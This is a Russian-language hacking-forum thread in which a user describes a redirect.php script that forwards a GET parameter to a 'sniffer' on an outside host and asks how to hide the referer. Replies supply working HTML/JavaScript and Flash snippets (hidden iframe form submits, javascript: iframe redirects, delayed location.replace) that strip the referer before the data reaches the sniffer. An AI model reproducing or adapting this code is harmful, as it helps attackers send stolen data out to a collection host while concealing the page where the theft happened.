Как обнулить реферер при редиректе ?

Discussion in 'PHP' started by RRR_RRR, 6 Dec 2014.

  1. RRR_RRR

    RRR_RRR Member

    Joined:
    20 Jun 2012
    Messages:
    396
    Likes Received:
    35
    Reputations:
    0
    Есть скрипт например redirect.php

    PHP:
    <?php 
    $id
    =$_GET['id']; 
    header'Location: http://site.ru/img.php?-'.$id.'' ) ;  
    ?>
    на site.ru стоит сниффер
    с другой html страницу вызываю данный скрипт redirect.php и он отсылает информацию на сниф
    Теперь нужно сделать так чтоб на сниффера не палился реферер (Тот где стоит html страница )
    Как я понимаю информацию про реферер нужно обнулить именно до редиректа в скрипте redirect.php
     
  2. Stronger

    Stronger Member

    Joined:
    26 Dec 2010
    Messages:
    54
    Likes Received:
    7
    Reputations:
    2
    Насколько я знаю,флеш реферы не передаёт
     
    1 person likes this.
  3. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    с помощью php не получится обнулить, только через curl, но он ip сменит юзера


    на js, flash можно делать редирект - который стерёт реферер
     
    1 person likes this.
  4. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    можно так попробовать скрыть, разместить в файле ссылку или подставлять её через get параметры

    PHP:
    <html>
    <
    head>
    <
    meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    </
    head>
    <
    body>
    <
    script>
        var 
    0
        
    function go2() { location.replace("http://googler.ru") }
        function 
    go() {
            if(
    x) return
            
    += 1
            
    try {
                var 
    html '<form target="_parent" action="http://googler.ru">'
                
    html += '<input type="hidden" name="u" value="" /></form>'
                
    window.frames[0].document.body.innerHTML html
                window
    .frames[0].document.forms[0].submit()
            } catch(
    e) {
                
    go2()
            }
        }
    </script>
    <iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
    </iframe>
    <script>window.setTimeout('go2()', 3333)</script>
    </body>
    </html>
    PHP:
     <html
    <
    head
    <
    meta http-equiv="Content-Type" content="text/html; charset=utf-8"
    </
    head
    <
    body
    <
    iframe src="javascript:parent.location='http://uznat.onion/referer.php'" style="visibility:hidden"
    </
    iframe
    <
    script
    var 

    function go() { location.replace("http://uznat.onion/referer.php") } 
     
    window.setTimeout('go()'5000
    </script> 
    </body> 
    </html>  

    PHP:
    <html>
    <
    head>
    <
    meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    </
    head>
    <
    body>
    <
    embed src="/r.swf?u=http%3A%2F%2Fejz.ru%2Fref.php" width="1" height="1" type="application/x-shockwave-flash">
    <
    script>window.setTimeout('location.replace("http://uznat.onion/referer.php")'5000)</script>
    </embed>
    </body>
    </html>
    r.swf
     
    1 person likes this.
  5. RRR_RRR

    RRR_RRR Member

    Joined:
    20 Jun 2012
    Messages:
    396
    Likes Received:
    35
    Reputations:
    0
    спасибо